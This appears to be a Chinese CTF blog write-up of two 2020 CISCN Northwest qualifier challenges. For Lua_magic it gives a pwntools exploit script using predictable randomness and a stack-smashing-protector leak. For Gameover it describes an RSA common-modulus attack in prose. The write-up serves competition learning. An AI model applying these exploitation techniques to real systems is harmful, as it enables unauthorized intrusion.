2020-ciscn 西北赛区分区赛

2020-ciscn 西北赛区分区赛

Lua_magic

程序先读取了一个lua脚本,跑三次循环,每次输入两个数,根据这两个数算出一个新的数字和生成的随机数比较,如果相同进行下一次验证,不同直接退出
Random函数在之前没有设置种子,所以是个伪随机数,所以只需要知道运算的过程就可以了,但是一开始没有给lua文件,只能盲打,输入几个数字之后发现,第一个数来选择用于运算的数,然后和第二个数异或,得到最终的结果,先在linux环境下写个程序生成随机数
默认第一个数输入0,根据异或出来的结果构造三个数字,绕过前面的检验,但是最后读入flag文件之后没有输出,最后一个read存在溢出,开启了cannary保护,直接利用ssp输出flag值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
localfile = "./Lua_magic"
locallibc = '/lib/x86_64-linux-gnu/libc.so.6'
remotelibc = locallibc
local = False
if local:
io = process(localfile)
libc = ELF(locallibc)
elf = ELF(localfile)
else:
io = remote('172.1.13.17', 8888)
libc = ELF(remotelibc)
elf = ELF(localfile)
# context.log_level = 'debug'
context.arch = elf.arch

se = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
sea = lambda delim, data: io.sendafter(delim, data)
rc = lambda numb=4096: io.recv(numb)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
info_addr = lambda tag, addr: io.info(tag + ': {:#x}'.format(addr))
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))

def debug(cmd=''):
gdb.attach(io, cmd)

# info

# gadget

# shellcode

# rop
io=remote("172.1.13.17",8888)
ru("heart;)\n")
sl("0 1808823121")
ru("who am I?\n")
print io.recv()
sl("0 840963568")
ru("who am I?\n")
print io.recv()
sl("0 1684516447")
ru("who am I?\n")
print io.recv()
sl(p64(0x602140)*35)
print io.recv()

#debug('b *0x0000000000400766')
io.interactive()

Gameover

先读取随机数,然后转换成了16进制字符串,之后列出菜单
输入选项,1是查看密文,7是最后一步验证,其他的字符都是进行一步输入,绕过最后一步验证之后就可以拿到shell,最后一个验证比较开始读取的随机数和最后一次输入是否相同
中间加密过程进行了一些大数运算,关键运算在于BN_mod_exp,表示(v13**v12) mod v11,其中v11是中间一串大数,尝试分解发现很难分解,猜测是大素数之积,v13是我们需要知道的随机数也就是明文,整个加密的过程就是rsa,这里发现,因为同在bss段上,可以利用菜单2的输入覆盖掉v12的值,也就是构造相同m、相同n、不同e生成的两条密文,存在共模攻击,可以直接算出明文也就是最后需要的输入

2020-巅峰极客 2020-DDCTF

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×